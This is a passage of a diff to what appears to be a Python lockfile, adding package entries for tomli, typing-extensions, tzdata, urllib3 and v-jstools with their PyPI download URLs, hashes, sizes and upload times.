"https://files.pythonhosted.org/packages/26/b6/d1eccb62f665e44359226811064596dd6a366ea1f985839c566cd61525ae/tomli-2.3.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c22a8bf253bacc0cf11f35ad9808b6cb75ada2631c2d97c971122583b129afbc", size = 241925, upload-time = "2025-10-08T22:01:29.066Z" }, + { url = "https://files.pythonhosted.org/packages/70/91/7cdab9a03e6d3d2bb11beae108da5bdc1c34bdeb06e21163482544ddcc90/tomli-2.3.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0eea8cc5c5e9f89c9b90c4896a8deefc74f518db5927d0e0e8d4a80953d774d0", size = 249045, upload-time = "2025-10-08T22:01:31.98Z" }, + { url = "https://files.pythonhosted.org/packages/15/1b/8c26874ed1f6e4f1fcfeb868db8a794cbe9f227299402db58cfcc858766c/tomli-2.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b74a0e59ec5d15127acdabd75ea17726ac4c5178ae51b85bfe39c4f8a278e879", size = 245835, upload-time = "2025-10-08T22:01:32.989Z" }, + { url = "https://files.pythonhosted.org/packages/fd/42/8e3c6a9a4b1a1360c1a2a39f0b972cef2cc9ebd56025168c4137192a9321/tomli-2.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b5870b50c9db823c595983571d1296a6ff3e1b88f734a4c8f6fc6188397de005", size = 253109, upload-time = "2025-10-08T22:01:34.052Z" }, + { url = "https://files.pythonhosted.org/packages/22/0c/b4da635000a71b5f80130937eeac12e686eefb376b8dee113b4a582bba42/tomli-2.3.0-cp314-cp314-win32.whl", hash = "sha256:feb0dacc61170ed7ab602d3d972a58f14ee3ee60494292d384649a3dc38ef463", size = 97930, upload-time = "2025-10-08T22:01:35.082Z" }, + { url = "https://files.pythonhosted.org/packages/b9/74/cb1abc870a418ae99cd5c9547d6bce30701a954e0e721821df483ef7223c/tomli-2.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:b273fcbd7fc64dc3600c098e39136522650c49bca95df2d11cf3b626422392c8", size = 107964, upload-time = "2025-10-08T22:01:36.057Z" }, + { url = "https://files.pythonhosted.org/packages/54/78/5c46fff6432a712af9f792944f4fcd7067d8823157949f4e40c56b8b3c83/tomli-2.3.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:940d56ee0410fa17ee1f12b817b37a4d4e4dc4d27340863cc67236c74f582e77", size = 163065, upload-time = "2025-10-08T22:01:37.27Z" }, + { url = "https://files.pythonhosted.org/packages/39/67/f85d9bd23182f45eca8939cd2bc7050e1f90c41f4a2ecbbd5963a1d1c486/tomli-2.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f85209946d1fe94416debbb88d00eb92ce9cd5266775424ff81bc959e001acaf", size = 159088, upload-time = "2025-10-08T22:01:38.235Z" }, + { url = "https://files.pythonhosted.org/packages/26/5a/4b546a0405b9cc0659b399f12b6adb750757baf04250b148d3c5059fc4eb/tomli-2.3.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a56212bdcce682e56b0aaf79e869ba5d15a6163f88d5451cbde388d48b13f530", size = 268193, upload-time = "2025-10-08T22:01:39.712Z" }, + { url = "https://files.pythonhosted.org/packages/42/4f/2c12a72ae22cf7b59a7fe75b3465b7aba40ea9145d026ba41cb382075b0e/tomli-2.3.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c5f3ffd1e098dfc032d4d3af5c0ac64f6d286d98bc148698356847b80fa4de1b", size = 275488, upload-time = "2025-10-08T22:01:40.773Z" }, + { url = "https://files.pythonhosted.org/packages/92/04/a038d65dbe160c3aa5a624e93ad98111090f6804027d474ba9c37c8ae186/tomli-2.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5e01decd096b1530d97d5d85cb4dff4af2d8347bd35686654a004f8dea20fc67", size = 272669, upload-time = "2025-10-08T22:01:41.824Z" }, + { url = "https://files.pythonhosted.org/packages/be/2f/8b7c60a9d1612a7cbc39ffcca4f21a73bf368a80fc25bccf8253e2563267/tomli-2.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:8a35dd0e643bb2610f156cca8db95d213a90015c11fee76c946aa62b7ae7e02f", size = 279709, upload-time = "2025-10-08T22:01:43.177Z" }, + { url = "https://files.pythonhosted.org/packages/7e/46/cc36c679f09f27ded940281c38607716c86cf8ba4a518d524e349c8b4874/tomli-2.3.0-cp314-cp314t-win32.whl", hash = "sha256:a1f7f282fe248311650081faafa5f4732bdbfef5d45fe3f2e702fbc6f2d496e0", size = 107563, upload-time = "2025-10-08T22:01:44.233Z" }, + { url = "https://files.pythonhosted.org/packages/84/ff/426ca8683cf7b753614480484f6437f568fd2fda2edbdf57a2d3d8b27a0b/tomli-2.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:70a251f8d4ba2d9ac2542eecf008b3c8a9fc5c3f9f02c56a9d7952612be2fdba", size = 119756, upload-time = "2025-10-08T22:01:45.234Z" }, + { url = "https://files.pythonhosted.org/packages/77/b8/0135fadc89e73be292b473cb820b4f5a08197779206b33191e801feeae40/tomli-2.3.0-py3-none-any.whl", hash = "sha256:e95b1af3c5b07d9e643909b5abbec77cd9f1217e6d0bca72b0234736b9fb1f1b", size = 14408, upload-time = "2025-10-08T22:01:46.04Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "tzdata" +version = "2025.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5e/a7/c202b344c5ca7daf398f3b8a477eeb205cf3b6f32e7ec3a6bac0629ca975/tzdata-2025.3.tar.gz", hash = "sha256:de39c2ca5dc7b0344f2eba86f49d614019d29f060fc4ebc8a417896a620b56a7", size = 196772, upload-time = "2025-12-13T17:45:35.667Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/b0/003792df09decd6849a5e39c28b513c06e84436a54440380862b5aeff25d/tzdata-2025.3-py2.py3-none-any.whl", hash = "sha256:06a47e5700f3081aab02b2e513160914ff0694bce9947d6b76ebd6bf57cfc5d1", size = 348521, upload-time = "2025-12-13T17:45:33.889Z" }, +] + +[[package]] +name = "urllib3" +version = "2.6.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1e/24/a2a2ed9addd907787d7aa0355ba36a6cadf1768b934c652ea78acbd59dcd/urllib3-2.6.2.tar.gz", hash = "sha256:016f9c98bb7e98085cb2b4b17b87d2c702975664e4f060c6532e64d1c1a5e797", size = 432930, upload-time = "2025-12-11T15:56:40.252Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6d/b9/4095b668ea3678bf6a0af005527f39de12fb026516fb3df17495a733b7f8/urllib3-2.6.2-py3-none-any.whl", hash = "sha256:ec21cddfe7724fc7cb4ba4bea7aa8e2ef36f607a4bab81aa6ce42a13dc3f03dd", size = 131182, upload-time = "2025-12-11T15:56:38.584Z" }, +] + +[[package]] +name = "v-jstools" +version = "0.0.8" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/95/75/96b978c4f24a16121396edb1c8a29ff4f16b99acce353930d50b60af39b6/v_jstools-0.0.8-py3-none-any.whl", hash = "sha256:bb77fd5552267d992eb3ec8d9f7062256c9586f7d841d59e90391cc60440126f", size = 9095663, upload-time = "2025-12-22T14:07:58.841Z" }, +]